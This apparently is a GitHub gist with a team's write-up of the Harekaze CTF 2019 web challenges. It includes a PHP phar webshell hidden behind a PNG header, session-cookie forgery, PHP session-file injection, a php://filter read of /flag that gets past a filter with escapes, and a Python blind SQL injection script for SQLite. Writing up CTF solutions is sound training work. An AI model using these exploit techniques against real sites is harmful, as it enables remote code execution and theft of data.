Skip to content

Instantly share code, notes, and snippets.



Last active Apr 27, 2020
What would you like to do?
Harekaze CTF 2019 WEB Writeup (Yokosuka Hackers)


Simple JS Jail challenge.

It is run on context, so we have nothing but to play with constructor and console.

1337 === eval(our_input)

so what we need to make is

1337 === int(str(int(1)).concat(3).concat(3).concat(7))
constructor.length.constructor = Integer object = String object
constructor.constructor.length = 1 => "dir".length = 3 => "context".length = 7

Final payload



  1. bypass finfo and bypass image size
  2. Upload 0x10 header of PNG, size bypassed. Payload:
  3. Flag: HarekazeCTF{seikai_wa_hitotsu!janai!!}


  1. We take the first file payload and save it into a.png.
  2. Generate exploit phar file for attack.
    $a = fread(fopen("a.png","rb"), filesize("a.png")) . str_repeat("\x00", 32);
    $phar = new Phar('exploit.phar');
    $phar->addFromString('exploit.css', '<?php @var_dump($_GET[1]($_GET[2])); ?>');
    $phar->setStub($a . '<?php __HALT_COMPILER(); ? >');
  1. Upload generated phar file.
  2. upload flag1
  3. You receive session with flag1 on flash.


Now we modify theme with uploaded file from (3) {"name":"STYPRSTYPRSTYPRA","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}, "theme": "phar://./uploads/64f3139f.png/exploit"}

  1. This works due to the crypt() with default bcrypt spec., the check size is limited. Considering that we have a long secret, we can just add the plaintext at the end of session text and password_verify is bypassed.
$a = password_hash(str_repeat("A"*128, PASSWORD_BCRYPT);
var_dump(password_verify(str_repeat("A"*256), $a)); // true, because it only checks first 128 byte
  1. Set cookie.

document.cookie="session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9LCAidGhlbWUiOiAicGhhcjovLy4vdXBsb2Fkcy82NGYzMTM5Zi5wbmcvZXhwbG9pdCJ9" +".JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX";

  1. access
vertical-align: middle;
/* light/dark.css */
string(33) "HarekazeCTF{lfi_with_phar_is_fun}"

I thought too deep, instead I also bypassed with zip:// too. orz


At the time of solving I was not able to connect to the server, so I contacted st98san to check the challenge with my payload and give us the flag.


Exploit Method

This challenge is about the problem that can cause, when session files and uploaded files are in same directory.

To exploit this challenge, we need to export the data with the PHP session filename format and load the session from Cookie.

  1. login as -> sess_imouto, to create session file during export. PHP session files start with sess_.
  2. add_note -> title: dummy|s:1:"d";user|s:6:"imouto";admin|b:1; / content: kawaii. Content is not required.
  3. run /export.php?type=.ok -> due to str_replace function, str_replace("..", "", "/var/www/tmp/sess_imouto-(rand)." . ".ok");
  4. you get the filename from the /export.php response, so we take out the filename.
  5. run index.php?page=flag with Cookie: PHPSESSID=xyz where xyz is the filename retrieved from (4).


Very simple. We can use \u escapes per JSON specification. so we can bypass filters and load the flag file.

root@imouto-router:~# curl -v "" -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}'
*   Trying
* Connected to ( port 10001 (#0)
> POST /query.php HTTP/1.1
> Host:
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 71
> Content-Type: application/x-www-form-urlencoded
* upload completely sent off: 71 out of 71 bytes
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2019 08:15:23 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.3.5
< Content-Length: 66
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host left intact


shpik san, safflower san, ptr-yudai san and I were on this challenge.

we were able to retrieve some part of the flag, but we didn't have much time to finish this challenge.

it is basically error-based blind sql injection on SQLite. since there were many patches on sqlite module, we had to find some new payloads to attack the service.

import requests
import readline

url = ""
url = ""
def rr(payload):
    global url
    data = {"id":payload}
    r =,data=data)
    return r.text

length = 38
for i in range(150,155):
    query = "((select(length(hex(hex(flag))))from(flag))between(%d)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(i,i)
    t = rr(query)
    print 'try : ',i,t
    if 'error' in t:
        length = i
#print 'length is ',i
# length = 38

flag = '343836313732363536623631376136353433353434363762'
flag = '343836313732363536423631374136353433353434363742'
for i in range(151-len(flag),-1,-1):
    for k in range(0,10):
        query = "((select(length(trim(hex(hex(flag)),%s)))from(flag))between(1)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(flag+str(k),i)
        t = rr(query)
        print 'try:',i, k ,query
        if 'error' in t:
            flag += str(k)
            print 'now : ', flag
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.